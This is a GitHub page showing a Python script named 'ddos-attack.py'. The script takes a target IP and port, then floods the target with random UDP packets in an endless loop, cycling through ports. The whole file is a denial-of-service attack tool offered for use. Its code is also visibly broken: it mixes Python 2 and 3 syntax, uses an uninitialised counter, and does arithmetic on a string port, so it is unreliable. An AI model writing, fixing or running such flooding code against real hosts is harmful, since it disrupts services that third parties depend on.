-
Notifications
You must be signed in to change notification settings - Fork 1
/
ddos-attack.py
50 lines (33 loc) · 1.18 KB
/
ddos-attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys
import os
import time
import socket
import random
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
ip = raw_input("IP Target: ")
port = input("Port: ")
os.system("clear")
os.system("figlet DDos Attack")
print("Loading:")
#animation = ["10%", "20%", "30%", "40%", "50%", "60%", "70%", "80%", "90%", "100%"]
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
for i in range(len(animation)):
time.sleep(0.2)
sys.stdout.write(f"\r{animation[i % len(animation)]}")
sys.stdout.flush()
print("\n")
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
port = port + 1
print(f"Sent {sent} packet to {ip} through port: {port}")
if port == 65534:
port = 1